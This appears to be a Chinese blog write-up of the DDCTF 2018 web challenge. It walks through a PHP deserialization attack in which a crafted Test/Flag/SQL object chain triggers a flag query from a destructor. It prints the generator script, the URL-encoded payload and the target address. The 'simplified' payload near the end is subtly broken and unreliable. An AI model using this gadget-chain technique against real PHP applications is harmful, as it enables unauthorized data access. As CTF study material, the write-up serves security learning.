        if (!in_array(strtolower($a), $this->white)) {
            exit('类不存在');
        }
        $res=$this->ref->getclassall($a);
        if (isset($res)) {
            echo $res;
        }
    }
    public function try($serialize)
    {
        unserialize(urldecode($serialize), ["allowed_classes" => ["Index\Helper\Flag", "Index\Helper\SQL","Index\Helper\Test"]]);
    }
    //
    public function send()
    {
        $client = new Client([
            // Base URI is used with relative requests
            'base_uri' => 'http://httpbin.org',
            // You can set any number of default request options.
            'timeout'  => 2.0,
        ]);
    }
    //echo
    //
}

j
Justtry类中a参数接受类,类有白名单,只能是’test’, ‘well’,’base’,’justtry’,观察到try函数接受一个序列化后的数据,需要注意的是只能接受那3个类。这是我们传入构造好的序列化数据,虽然不存在,但是由于后面有魔术函数,在销毁时执行了getflag函数,只要传入数据符合规则,执行查询操作,就可以得到flag,怎样构造呢?
test.php

<?php namespace Index\Helper; use Index\Helper\Flag; use Index\Helper\UUID; defined('ACCESS_FILE') or exit('No direct script access allowed'); class Test { public $user_uuid; public $fl; public function __construct() { echo 'hhkjjhkhjkhjkhkjhkhkhk'; } public function __destruct() { $this->getflag('ctfuser', $this->user_uuid);
        // $this->setflag('ctfuser', $this->user_uuid);
    }
    public function setflag($m = 'ctfuser', $u = 'default', $o = 'default')
    {
        $user=array(
            'name' => $m,
            'oldid' => $o,
            'id' => $u
        );
        // var_dump($user);
        echo $this->fl->set($user, 2);
    }
    public function getflag($m = 'ctfuser', $u = 'default')
    {
        //TODO: check username
        $user=array(
            'name' => $m,
            'id' => $u
        );
        //懒了直接输出给你们了
        echo 'DDCTF{'.$this->fl->get($user).'}';
    }
}

__destruct()   魔术函数,销毁时执行了getflag函数
紧跟’DDCTF{‘.$this->fl->get($user).’}’;     需要注意的是user此时是一个数组,id是uuid的值,即网页中那一长串,name下面会分为一个字典型。(payload构造了一个test类)
文件中查找,找到get函数,在flag.php文件里
flag.php

zheshiamespace Index\Helper;
use PDO;
use Index\Helper\SQL;
defined('ACCESS_FILE') or exit('No direct script access allowed');
class Flag
{
public $sql;
//
public function __construct()
{
$this->sql=new SQL();
}
//
public function get($user)
{
$tmp=$this->sql->FlagGet($user);
if ($tmp['status']===1) {
return $this->sql->FlagGet($user)['flag'];
}
}
}

注意:return $this->sql->FlagGet($user)[‘flag’];这个时候name再分。(payload构造了sql类)
紧跟flagget函数,在sql.php里,这是执行了sql查询,得到flag
sql.php

class SQL
{
    public $dbc;
    public $pdo;
}

ok,我们根据上面的条件以uuid的值构造序列化后的数据,本人菜鸡一枚,这是大佬写好的代码

<?php
/**
 * Created by PhpStorm.
 * User: Henryzhao
 * Date: 2018/4/14
 * Time: 20:34
 */
namespace Index\Helper;
class Test {
    public $user_uuid;
    public $fl;
}
class Flag {
    public $sql;
    public function __construct()
    {
        $this->sql=new SQL();
    }
}
class SQL {
    public $dbc;
    public $pdo;
}
class FLDbConnect {
    protected $obj;
}
$a = new Test();
$a->user_uuid = '2a9597b9-954d-4cbb-a00b-687f6df00d54';
$a->fl = new Flag();
echo serialize($a).PHP_EOL;
echo urlencode(serialize($a));

命名空间,是由于只能是Index\Helper,才符合规矩
类FLDbConnect这里只是输出数据,没有用到,可以去掉
将uuid换成自己网址的地址
得到:payload=O%3A17%3A%22Index%5CHelper%5CTest%22%3A2%3A%7Bs%3A9%3A%22user_uuid%22%3Bs%3A36%3A%225d71b644-ee63-4b11-9c13-da3c4ac35b8d%22%3Bs%3A2%3A%22fl%22%3BO%3A17%3A%22Index%5CHelper%5CFlag%22%3A1%3A%7Bs%3A3%3A%22sql%22%3BO%3A16%3A%22Index%5CHelper%5CSQL%22%3A2%3A%7Bs%3A3%3A%22dbc%22%3BN%3Bs%3A3%3A%22pdo%22%3BN%3B%7D%7D%7D
2.找到一个更容易理解(简化)的payload
https://www.secpulse.com/archives/71113.html

<?php
	Class Test{
		public $user_uuid;
		public $fl;
	}
	Class Flag{
	}
	Class SQL{
	}
	$a=new Test();
	$a->user_uuid='';
	$a->fl=new Flag();
	$a->f1->sql=new SQL();
	echo serialize($a);
        echo urlencode((serialize($a));
?>

得到:O:4:”Test”:3:{s:9:”user_uuid”;s:36:”5d71b644-ee63-4b11-9c13-da3c4ac35b8d”;s:2:”fl”;O:4:”Flag”:0:{}s:2:”f1″;O:8:”stdClass”:1:{s:3:”sql”;O:3:”SQL”:0:{}}}
再更改为允许的类
O:15:”IndexHelperTest”:3:{s:9:”user_uuid”;s:36:”5d71b644-ee63-4b11-9c13-da3c4ac35b8d”;s:2:”fl”;O:15:”IndexHelperFlag”:0:{}s:2:”f1″;O:8:”stdClass”:1:{s:3:”sql”;O:14:”IndexHelperSQL”:0:{}}}

flag:

访问:http://116.85.48.105:5033/5d71b644-ee63-4b11-9c13-da3c4ac35b8d/Justtry/try/
post:
a=payload
得到:DDCTF{5ed110a54246a5cd7d755185b4d89f74fb2530084bf93d8000f2170899d29b22}
 
2018.8.4

发表评论

电子邮件地址不会被公开。 必填项已用*标注